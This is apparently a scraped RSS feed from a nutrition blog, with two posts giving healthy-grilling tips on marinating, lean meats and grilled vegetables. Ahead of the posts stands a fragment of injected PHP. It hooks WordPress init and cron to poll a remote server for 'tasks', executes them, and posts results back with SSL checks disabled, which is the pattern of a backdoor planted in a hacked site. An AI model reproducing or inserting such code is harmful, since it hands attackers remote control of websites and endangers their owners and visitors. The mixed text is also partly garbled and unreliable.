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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); veggies on the grill – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Thu, 12 Jun 2014 04:45:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp veggies on the grill – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Grilling Up A Slimmer Summer https://skinnygeneprojectnew.dreamsites.io/grilling-up-a-slimmer-summer/ https://skinnygeneprojectnew.dreamsites.io/grilling-up-a-slimmer-summer/#respond Thu, 12 Jun 2014 04:45:56 +0000 http://skinnygeneproject.dreamhosters.com/?p=2156 A little bit of summer heat coupled with some of that wonderful summer breeze equals good grilling weather.  Heat up the grill and take the cooking outdoors for a fun backyard barbeque! Grilling is a healthy cooking technique that cuts the fat and calories by letting the fat melt away, while still keeping the flavors intact.  So when you want to take your next meal to the grill, be adventurous.  Your taste buds will appreciate it.

Along with the traditional meat items, such as hamburgers, hot dogs or steaks, grill up some vegetables or fruits for a low-fat option.  So, if you are just learning to be grill master, concerned about carcinogens (a substance capable of causing cancer in living tissue), or want to prepare healthy low-fat meals follow these tips and  check out these delicious recipes (Click the links):

Tips to Grilling Up A Slimmer Summer

Grilling up slimmer summer

  • Marinate your food.  Before you start grilling, take some time to make a marinade, which provides coating around the foods, limiting the formation of harmful carcinogens.  There are many varieties of marinades to make from citrus to sweet; it will make a big difference to your grilled foods.
  • Give it a good clean.  Make sure to clean the grill with a wire brush to remove any buildup of char, which can be carcinogenic to your health.  Then wipe down with a damp cloth or paper towels to remove anything that wasn’t taken off by the wire brush.
  • Watch out for flames.  When grilling meats, poultry or fish on an open flame, the fat from these proteins drips onto the flames creating a carcinogenic smoke.  By grilling leaner protein sources can result in less bad smoke.  Another precaution to take is to line the grill with foil poked with holes, to make a barrier against the smoke and food.
  • Don’t let it burn.  Discard any noticeable burnt areas around the food and try not to eat, as those pieces have the cancer-causing substances.
  • Fruits and veggies please!  Grilling fruits and vegetables caramelizes the natural sugars that give it a great flavor.  Keep it plain or marinate them, it tastes just as delicious.  You can also make a switch from your traditional salads and grill them, like a grilled Caesar salad.  Also, increase your fruit and vegetable intake and replace the meat entirely with vegetables like grilled eggplant or portabella mushrooms for a similar meaty texture.
  • Instead of steak, try grilled fish.  Salmon, trout, and herring are high in omega-3 fatty acids, which are very heart healthy.  Shrimp is great on the grill as well, bringing out a tasty smoky flavor.
  • Keep it lean with chicken.  Grill chicken breast, but remember to remove the skin.  Try grilled chicken kabobs in between layers of fresh veggies or a zesty grilled chipotle chicken sandwich with your favorite veggies.
  • Choose your meats wisely.  Choose lean meats that have less fat, such as loin or round cuts of beef or pork.  Choice and select grades of meat, instead of prime, have lower amounts of fat.  This of course limits the amount of fat that will drip onto the fire while grilling, limiting the production of the bad smoke.  Also, remember to trim the extra fat after you take it home.  Try a lettuce wrap with grilled steak or grilled pork fajitas.

 

Summer is around the corner, as well as Father’s day.  Treat your dad to a grilled feast with low-fat grilled veggies and proteins.  There are many food items you can grill, so when it heats up inside the kitchen, go outside and take it to the grill!

]]> https://skinnygeneprojectnew.dreamsites.io/grilling-up-a-slimmer-summer/feed/ 0 Healthy Grilling! https://skinnygeneprojectnew.dreamsites.io/healthy-grilling/ https://skinnygeneprojectnew.dreamsites.io/healthy-grilling/#respond Mon, 10 Jun 2013 22:14:04 +0000 http://skinnygeneproject.dreamhosters.com/?p=1963 By Rennie Aranda – Skinny Gene Nutritionist

Fire Up the Grill!

The month of June brings in summertime, which means it’s barbecue season and time to fire up the grill! Barbecues can be a time to enjoy good food with your loved ones, but does not always consist of healthy meals. Use this time as an opportunity to come up with some tasty and healthy new dishes for the next barbecue with your family and friends!

grilled veggies. paid

Serve up tasty and healthy dishes this barbeque season

Try some of these ideas for healthy grilling:

– Trim visible fat from meats to help reduce calories and fat in the meals

– You can still choose your favorite meats, (although lean meat is healthier), but consider eating smaller portions and balancing them with low fat, fiber-rich side dishes.

– Grill vegetables! It’s better to grill veggies first before the meat to limit the risk of cross-contamination. After grilling the vegetables, set them aside while the meat cooks. Try cutting zucchini or eggplant, brush with olive oil and herbs, and then grill on both sides until tender. Quartered and seeded bell peppers or thickly sliced onions make good options as well. Don’t be shy to grill fruit! Peaches or pineapple slices are delicious complements to chicken or beef.

– Make kabobs. You can stretch out your meat by adding less meat to the kabobs and adding in small chunks of fruits and veggies. Be creative. Add different colors for a more visually-appealing kabob and choose a variety of flavors.

– Marinate your meat in advance. Not only does it enhance flavors of the meat, it has also been shown to reduce carcinogens by 57% – 88%. A marinade typically consists of a mixture of oil, vinegar, herbs and spices.

This summer, try some of these healthy grilling tips to make meals that everyone can enjoy!

Happy grilling!

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